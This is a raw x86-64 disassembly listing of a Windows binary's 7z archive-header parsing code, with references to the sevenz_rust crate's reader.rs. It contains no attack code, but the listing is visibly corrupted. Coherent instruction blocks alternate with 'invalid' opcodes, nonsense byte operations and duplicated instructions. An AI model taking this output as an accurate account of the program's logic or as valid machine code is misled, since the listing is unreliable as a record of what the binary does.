mov rsi, qword [rbp + 0x1d8]
mov r15, qword [rbp + 0x1e0]
xor ebx, ebx
mov r12, rbx
mov rbx, qword [rbp + 0x3a8]
cmp r12, rbx
jae 0x1401426c9
mov qword [rbp + 0x200], rdi
lea rcx, [rbp + 0xf0]
mov rdx, r12
call fcn.1401385c7
mov r13b, al
mov qword [rbp + 0x200], rdi
add byte [rdx], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
or eax, 0x109650
or eax, 0x109650
call fcn.140014628
mov byte [rax + 0x5f], r13b
mov qword [rbp + 0x200], rdi
mov rcx, rsi
mov rdx, r15
mov edx, edi
mov edx, edi
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
add al, ch
shl dword [0xcd5e2044], cl
pop rsp
and al, 1
cmp byte [rax + 0x5f], 0
je 0x140141fed
mov qword [rbp + 0x200], rdi
lea rcx, [rbp + 0x2f0]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x3b0]
call fcn.14014477a
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x14014272d
mov r14, qword [rbp + 0x2f8]
mov qword [rbp + 0x200], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov qword [rax + 0x20], r14
jmp 0x140141fed
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2e8], rax
test eax, ebp
add al, byte [rax]
add byte [rdi], cl
test byte [rdx + rdx], al
invalid
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x85
test eax, ebp
add al, byte [rax]
add byte [rdi], cl
test eax, ebp
add al, byte [rax]
add byte [rdi], cl
test byte [rdx + rdx], al
add byte [rax - 0x75], cl
lea ebx, [rax + 0x48000001]
mov edx, dword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x1a0]
call fcn.14014471c
mov byte [rbp + 0x3c7], 0
add byte [rax - 0x77], cl
stc
add byte [rax - 0x77], cl
stc
mov rdx, qword [rbp + 0x3b0]
mov r8, rax
call fcn.1401382a3
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x1401427ae
mov rsi, qword [rbp + 0x2f8]
movups xmm6, xmmword [rbp + 0x300]
mov rdi, qword [rbp + 0x310]
mov rdx, qword [rbp + 8]
or byte [rax - 0x75], cl
lea ebp, [rax - 0x17fffffe]
sbb ah, byte [0xc95c2132]
jne 0x140142134
or byte [rax - 0x75], cl
lea ebp, [rax - 0x17fffffe]
sbb ah, byte [0xc95c2132]
jne 0x140142134
movups xmmword [rbp + 8], xmm6
mov qword [rbp + 0x18], rdi
lea rdi, [rbp + 0x2f0]
sbb byte [rax - 0x73], cl
mov ebp, 0x2f0
mov qword [rbp + 0x2a8], rsi
jmp 0x140141cb4
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2e8], rax
je 0x140143312
mov rcx, qword [rbp + 0x198]
mov ecx, dword [rbp + 0x198]
mov rdx, qword [rbp + 0x1a0]
call fcn.14014471c
mov byte [rbp + 0x3c7], 0
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
mov r8, rax
shr al, 0x11
invalid
invalid
inc dword [rdx + rcx*4 - 0x53]
lock add al, byte [rax]
add byte [rcx - 0x80], al
std
adc cl, byte [rdi]
test dword [rbx], ecx
invalid
add byte [rax], al
invalid
mov rsi, qword [rbp + 0x2f8]
movups xmm6, xmmword [rbp + 0x300]
mov rdi, qword [rbp + 0x310]
add byte [rax - 0x75], cl
xchg ebp, eax
pop rax
add al, byte [rax]
add byte [rax - 0x75], cl
lea esp, [rax - 0x17fffffe]
jg 0x1401421ed
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
pop rax
add al, byte [rax]
add byte [rax - 0x75], cl
lea esp, [rax - 0x17fffffe]
jg 0x1401421ed
add byte [rax], al
mov qword [rbp + 0x250], rsi
movups xmmword [rbp + 0x258], xmm6
add byte [rax - 0x77], cl
mov ebp, 0x268
add byte [rax - 0x73], cl
mov ebp, 0x2f0
add byte [rax - 0x73], cl
mov ebp, 0x2f0
lea edi, [rbp + 0x2f0]
mov qword [rbp + 0x2a0], rsi
jmp 0x140141cb4
add cl, ch
sar edx, 0xff
inc esi
mov byte [rbp + 0x3c7], 0
mov byte [rbp + 0x3c7], 0
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
mov r8, rbx
call fcn.1401382a3
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x1401427ae
mov rsi, qword [rbp + 0x2f8]
movups xmm6, xmmword [rbp + 0x300]
mov rdi, qword [rbp + 0x310]
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
cwde
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
call 0x128142243
add eax, 0x48000024
mov dword [rbp + 0x190], esi
movups xmmword [rbp + 0x198], xmm6
mov qword [rbp + 0x1a8], rdi
lea rdi, [rbp + 0x2f0]
mov qword [rbp + 0x2e8], rsi
jmp 0x140141cb4
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
cwde
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov byte [rbp + 0x3c7], 0
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
mov r8, rbx
call fcn.1401381b8
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x1401427ae
mov rax, qword [rbp + 0x2f8]
mov rdx, rdi
mov rdi, qword [rbp + 0x300]
movups xmm0, xmmword [rbp + 0x308]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdi
movups xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x1f8], rdi
mov rcx, qword [rbp + 0x3b0]
push 1
pop r8
call fcn.140137477
test rax, rax
jne 0x1401432f3
mov al, byte [rbp + 0x2f0]
mov byte [rbp + 0xc0], al
test al, al
ror byte [rdi], 0x85
retf 0x11
invalid
mov rsi, qword [rbp + 0x1d8]
mov r15, qword [rbp + 0x1e0]
xor ebx, ebx
mov r12, rbx
mov rbx, qword [rbp + 0x3a8]
cmp r12, rbx
jae 0x1401426c9
mov qword [rbp + 0x1f8], rdi
lea rcx, [rbp + 0xf0]
mov rdx, r12
call fcn.1401385c7
inc dword [rcx - 0x78]
invalid
mov qword [rbp + 0x1f8], rdi
mov rcx, rsi
int1
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
or eax, 0x10939f
or eax, 0x10939f
call fcn.140014628
mov byte [rax + 0x61], r13b
mov qword [rbp + 0x1f8], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
lea rbx, [r12 + 1]
cmp byte [rax + 0x61], 0
je 0x140142316
mov qword [rbp + 0x1f8], rdi
lea rcx, [rbp + 0x2f0]
mov rdx, qword [rbp + 0x3b0]
call fcn.14014477a
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x14014272d
mov r14, qword [rbp + 0x2f8]
mov qword [rbp + 0x1f8], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov qword [rax + 0x30], r14
jmp 0x140142316
mov byte [rbp + 0x3c7], 0
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
mov r8, rbx
call fcn.1401381b8
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x1401427ae
mov rax, qword [rbp + 0x2f8]
mov rdx, rdi
mov rdi, qword [rbp + 0x300]
movups xmm0, xmmword [rbp + 0x308]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdi
movups xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x1f0], rdi
mov rcx, qword [rbp + 0x3b0]
push 1
pop r8
call fcn.140137477
test rax, rax
jne 0x1401432f3
mov al, byte [rbp + 0x2f0]
mov byte [rbp + 0xc0], al
test al, al
jne 0x140143463
mov rsi, qword [rbp + 0x1d8]
mov r15, qword [rbp + 0x1e0]
xor ebx, ebx
mov r12, rbx
mov rbx, qword [rbp + 0x3a8]
cmp r12, rbx
jae 0x1401426c9
mov qword [rbp + 0x1f0], rdi
lea rcx, [rbp + 0xf0]
mov rdx, r12
call fcn.1401385c7
mov r13b, al
mov qword [rbp + 0x1f0], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
or eax, 0x1092a4
or eax, 0x1092a4
call fcn.140014628
mov byte [rax + 0x60], r13b
mov qword [rbp + 0x1f0], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
lea rbx, [r12 + 1]
cmp byte [rax + 0x60], 0
je 0x140142489
mov qword [rbp + 0x1f0], rdi
lea rcx, [rbp + 0x2f0]
mov rdx, qword [rbp + 0x3b0]
call fcn.14014477a
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x14014272d
mov r14, qword [rbp + 0x2f8]
mov qword [rbp + 0x1f0], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov qword [rax + 0x28], r14
jmp 0x140142489
mov byte [rbp + 0x3c7], 0
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
mov r8, rbx
call fcn.1401381b8
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x1401427ae
mov rax, qword [rbp + 0x2f8]
mov rdx, rdi
mov rdi, qword [rbp + 0x300]
movups xmm0, xmmword [rbp + 0x308]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdi
movups xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x1e8], rdi
mov rcx, qword [rbp + 0x3b0]
push 1
pop r8
call fcn.140137477
test rax, rax
jne 0x140142807
mov al, byte [rbp + 0x2f0]
mov byte [rbp + 0xc0], al
test al, al
jne 0x1401433ea
mov rsi, qword [rbp + 0x1d8]
mov r15, qword [rbp + 0x1e0]
xor ebx, ebx
mov r12, rbx
mov rbx, qword [rbp + 0x3a8]
cmp r12, rbx
jae 0x1401426c9
mov qword [rbp + 0x1e8], rdi
lea rcx, [rbp + 0xf0]
mov rdx, r12
call fcn.1401385c7
mov r13b, al
mov qword [rbp + 0x1e8], rdi
add byte [rax - 0x77], cl
int1
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov byte [rax + 0x62], r13b
mov qword [rbp + 0x1e8], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
lea rbx, [r12 + 1]
cmp byte [rax + 0x62], 0
je 0x1401425fc
and dword [rbp + 0x2f0], 0
mov qword [rbp + 0x1e8], rdi
mov rcx, qword [rbp + 0x3b0]
lea rdx, [rbp + 0x2f0]
push 4
pop r8
call fcn.140137477
test rax, rax
jne 0x140142807
mov r14d, dword [rbp + 0x2f0]
mov qword [rbp + 0x1e8], rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov dword [rax + 0x58], r14d
jmp 0x1401425fc
mov rcx, qword [rbp + 0x3b8]
mov rdx, rdi
call fcn.14008fcb1
mov r14, qword [rbp + 0x388]
xor r12d, r12d
lea rdi, [rbp + 0x2f0]
jmp 0x140141cb4
mov rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf8]
call fcn.1401c595f
cmp rdi, qword [rbp + 0x3a0]
mov r12d, 0
lea rdi, [rbp + 0x2f0]
je 0x140141cb4
xor edi, edi
push 0x18
pop r15
lea rbx, [0x14024b617]
jmp 0x140142839
mov eax, dword [rbp + 0x2f1]
mov ecx, dword [rbp + 0x2f4]
mov dword [rbp + 0x393], ecx
mov dword [rbp + 0x390], eax
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0x300]
mov r15, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x3b8]
mov rdx, rdi
call fcn.14008fcb1
jmp 0x140142830
mov r13b, 4
movabs rbx, 0x8000000000000000
push 1
pop r15
mov qword [rbp + 0x398], rax
mov rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf8]
call fcn.1401c595f
xor esi, esi
jmp 0x140142837
mov eax, dword [rbp + 0x2f1]
mov ecx, dword [rbp + 0x2f4]
mov dword [rbp + 0x393], ecx
mov dword [rbp + 0x390], eax
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0x300]
mov r15, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x310]
jmp 0x140142837
mov r13b, 4
xor esi, esi
push 1
pop r15
movabs rbx, 0x8000000000000000
mov qword [rbp + 0x398], rax
jmp 0x140142837
mov r13b, 4
movabs rbx, 0x8000000000000000
push 1
pop r15
mov qword [rbp + 0x398], rax
mov rcx, qword [rbp + 0x3b8]
mov rdx, rdi
call fcn.14008fcb1
xor esi, esi
mov r14, qword [rbp + 0x388]
xor edi, edi
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
call fcn.14014464a
mov rcx, qword [rbp + 0x250]
mov rdx, qword [rbp + 0x258]
call fcn.14014464a
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
call fcn.14014464a
test dil, dil
jne 0x14014287d
lea rcx, [rbp + 0x1d0]
call fcn.14014465e
mov rdx, qword [rbp + 0x398]
mov eax, dword [rbp + 0x390]
mov ecx, dword [rbp + 0x393]
mov dword [r14 + 4], ecx
mov dword [r14 + 1], eax
mov qword [r14 + 8], rdx
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], r15
mov qword [r14 + 0x20], rsi
mov byte [r14], r13b
jmp 0x1401432d1
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x3a8], rax
mov rdi, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x2e0]
lea rcx, [rax + 0xf8]
mov qword [rbp + 0x2d8], rcx
mov rcx, qword [rax + 0xe0]
mov qword [rbp + 0x3b8], rcx
mov rcx, qword [rax + 0xe8]
mov qword [rbp + 0x298], rcx
mov rcx, qword [rax + 0x120]
mov qword [rbp + 0x3a0], rcx
mov rcx, qword [rax + 0x128]
mov qword [rbp + 0x230], rcx
mov rax, qword [rax + 0xf0]
mov qword [rbp + 0x248], rax
xor eax, eax
mov qword [rbp + 0x238], rax
movabs rax, 0x8000000000000000
mov qword [rbp + 0x398], rax
lea rbx, str.Archive_contains_file_with_streams_but_no_subStreamsInfoHeader_format_error:_kEmptyStream_must_appear_before_kEmptyFileError_parsing_file_names
xor esi, esi
xor r13d, r13d
mov r15, rsi
cmp rsi, rdi
jae 0x140142ad0
mov byte [rbp + 0x3c7], 0
mov rcx, qword [rbp + 0x3a8]
mov rdx, rdi
mov r8, r15
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov r12, rax
lea rsi, [r15 + 1]
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2e8], rax
jne 0x140142994
mov byte [r12 + 0x5c], 1
jmp 0x1401429b7
mov byte [rbp + 0x3c7], 0
lea rcx, [rbp + 0x190]
mov rdx, r15
call fcn.1401385c7
xor al, 1
mov byte [r12 + 0x5c], al
je 0x140142a50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x3b8], rax
je 0x14014322e
and word [r12 + 0x5d], 0
mov byte [rbp + 0x3c7], 0
mov rcx, qword [rbp + 0x2d8]
mov rdx, r13
call fcn.1401385c7
mov byte [r12 + 0x63], al
mov byte [rbp + 0x3c7], 0
mov rcx, qword [rbp + 0x3a0]
mov rdx, qword [rbp + 0x230]
mov r8, r13
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rax, qword [rax]
mov qword [r12 + 0x38], rax
mov byte [rbp + 0x3c7], 0
mov rcx, qword [rbp + 0x298]
mov rdx, qword [rbp + 0x248]
mov r8, r13
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rax, qword [rax]
mov qword [r12 + 0x48], rax
inc r13
jmp 0x140142946
mov al, 1
movabs rcx, 0x8000000000000000
cmp qword [rbp + 0x2a0], rcx
je 0x140142a81
mov byte [rbp + 0x3c7], 0
lea rcx, [rbp + 0x250]
mov rdx, qword [rbp + 0x238]
call fcn.1401385c7
xor al, 1
mov byte [r12 + 0x5d], al
mov al, 2
movabs rcx, 0x8000000000000000
cmp qword [rbp + 0x2a8], rcx
je 0x140142ab1
mov byte [rbp + 0x3c7], 0
mov rcx, rbp
mov rdx, qword [rbp + 0x238]
call fcn.1401385c7
and al, 1
mov byte [r12 + 0x5e], al
mov byte [r12 + 0x63], 0
and qword [r12 + 0x48], 0
inc qword [rbp + 0x238]
jmp 0x140142946
mov rdi, qword [rbp + 0x2e0]
lea rcx, [rdi + 0x68]
mov qword [rbp + 0x3a8], rcx
call fcn.14014465e
mov rax, qword [rbp + 0x1e0]
and qword [rbp + 0x2f0], 0
mov rcx, qword [rbp + 0x3a8]
mov qword [rcx + 0x10], rax
push 8
pop rsi
mov qword [rbp + 0x2f8], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x310], rsi
movups xmmword [rbp + 0x318], xmm0
movaps xmm0, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x328], rsi
and qword [rbp + 0x338], 0
mov qword [rbp + 0x340], rsi
and qword [rbp + 0x348], 0
movups xmmword [rcx], xmm0
and qword [rbp + 0x2c8], 0
mov r8, qword [rdi + 0x60]
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2b8], rsi
lea rcx, [rbp + 0xf0]
xor edx, edx
mov qword [rbp + 0x3a0], r8
call fcn.1401762f1
xor r15d, r15d
xor ecx, ecx
mov rdx, rsi
call fcn.140174a51
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x300], rax
movups xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x2f0], xmm0
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x2e0]
mov r12, qword [rax + 0x58]
mov r13, qword [rax + 0x60]
lea rdi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
xor ebx, ebx
cmp r15, qword [rbp + 0x3a0]
jae 0x140142c5e
and qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2c0], rsi
mov rcx, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rcx
mov rdx, qword [rbp + 0x230]
mov r8, r15
mov r9, rdi
call fcn.140024925
invalid
sbb eax, 0x8948ffee
sbb byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
enter 2, 0
add byte [rax - 0x77], cl
mov ch, 0xd0
add al, byte [rax]
add byte [rax - 0x77], cl
mov ch, 0xc0
add al, byte [rax]
add byte [rax - 0x75], cl
test dword [rax + 0x48000003], ebp
mov dword [rbp + 0x2b8], eax
mov rcx, r12
mov rdx, r13
mov r8, r15
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
inc r15
add rbx, qword [rax + 0x40]
jmp 0x140142bd7
and qword [rbp + 0x2c8], 0
mov rax, qword [rbp + 0x2e0]
mov r8, qword [rax + 0x10]
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2c0], rsi
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
lea rcx, [rbp + 0xf0]
xor edx, edx
mov rdi, r8
call fcn.1401762f1
xor esi, esi
push 8
pop rdx
xor ecx, ecx
call fcn.140174a51
mov r12, qword [rbp + 0x100]
mov qword [rbp + 0x318], r12
movups xmm0, xmmword [rbp + 0xf0]
movups xmmword [rbp + 0x308], xmm0
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x2e0]
mov r13, qword [rax + 8]
mov r15, qword [rax + 0x10]
adc byte [rcx], dh
invalid
cmp rsi, rdi
jae 0x140142d43
cmp r12, rsi
jbe 0x140143760
mov rax, qword [rbp + 0x3b8]
mov qword [rax + rsi*8], rbx
and qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2d0], 8
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rcx, r13
mov rdx, r15
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
inc rsi
add rbx, qword [rax]
jmp 0x140142ce5
and qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2d0], 8
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
add byte [rax - 0x77], cl
test dword [rax + 0x48000002], edi
lea ecx, [rbp + 0xf0]
xor edx, edx
mov r8, qword [rbp + 0x3a0]
call fcn.1401762f1
xor r15d, r15d
xor ecx, ecx
push 8
pop rbx
mov rdx, rbx
call fcn.140174a51
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x330], rax
movups xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x320], xmm0
mov rax, qword [rbp + 0x2e0]
mov r12, qword [rax + 0x78]
test r12, r12
je 0x140142df1
mov rax, r12
shr rax, 0x3b
mov rsi, r12
shl rsi, 4
test rax, rax
test eax, eax
jne 0x140143c4a
mov rcx, rsi
call fcn.140176501
mov rbx, rax
mov r15, r12
test rax, rax
je 0x140143c4e
xor r13d, r13d
push 8
pop rdx
xor ecx, ecx
call fcn.140132e14
mov qword [rbp + 0x338], r15
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x2d8], r12
mov qword [rbp + 0x348], r12
mov rax, qword [rbp + 0x2e0]
mov rcx, qword [rax + 0x70]
mov qword [rbp + 0x248], rcx
mov rcx, qword [rbp + 0x328]
mov qword [rbp + 0x220], rcx
mov rcx, qword [rbp + 0x330]
mov qword [rbp + 0x178], rcx
mov rcx, qword [rax + 0x78]
mov qword [rbp + 0x238], rcx
mov rcx, qword [rax + 0x58]
mov qword [rbp + 0x180], rcx
mov rcx, qword [rax + 0x60]
mov qword [rbp + 0x188], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x10], rcx
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
xor eax, eax
mov qword [rbp + 0x298], rax
xor eax, eax
mov qword [rbp + 0x228], rax
mov rsi, r13
cmp rsi, qword [rbp + 0x2d8]
jae 0x14014323c
mov r12, rbx
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
add byte [rax - 0x77], cl
test eax, eax
add al, byte [rax]
add byte [rax - 0x75], cl
test dword [rax + 0x48000003], ebp
mov dword [rbp + 0x2b8], eax
mov rcx, qword [rbp + 0x248]
mov rdx, qword [rbp + 0x238]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov rbx, qword [rbp + 0x298]
lea r13, [rsi + 1]
cmp byte [rax + 0x5c], 0
jne 0x140142f52
cmp qword [rbp + 0x228], 0
jne 0x140142f52
mov rcx, r12
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rdx, qword [rbp + 0x2d8]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024967
and qword [rax], 0
mov rsi, r13
mov rbx, r12
jmp 0x140142e8e
cmp qword [rbp + 0x228], 0
mov rcx, r12
jne 0x140143017
jmp 0x140142f6b
inc rbx
mov rcx, r12
cmp rbx, qword [rbp + 0x3a0]
jae 0x1401435b3
movabs al, byte [0x63b830f000003]
add byte [rax - 0x77], cl
invalid
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp + 0x220]
mov eax, 0x48000002
mov ecx, dword [rbp + 0x220]
mov rdx, qword [rbp + 0x178]
mov r8, rbx
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov qword [rax], rsi
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp + 0x180]
add byte [rax - 0x75], cl
xchg ebp, eax
mov byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
mov byte [rcx], al
add byte [rax], al
mov r8, rbx
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
cmp qword [rax + 0x78], 0
je 0x140142f65
mov rcx, r12
mov qword [rbp + 0x2d0], rcx
rol byte [rdx], 1
add byte [rax], al
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rdx, qword [rbp + 0x2d8]
mov edx, dword [rbp + 0x2d8]
mov edx, dword [rbp + 0x2d8]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024967
mov qword [rax], 1
mov qword [rax + 8], rbx
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp + 0x248]
add byte [rax - 0x75], cl
xchg ebp, eax
cmp byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
cmp byte [rdx], al
add byte [rax], al
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov qword [rbp + 0x298], rbx
cmp byte [rax + 0x5c], 0
mov rbx, r12
je 0x140142e8b
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x178]
mov r8, qword [rbp + 0x298]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
cmp qword [rax], rsi
jne 0x1401431a9
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rcx, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rcx
mov rdx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x298]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov r8, qword [rax]
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2c8], r15
enter 2, 0
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
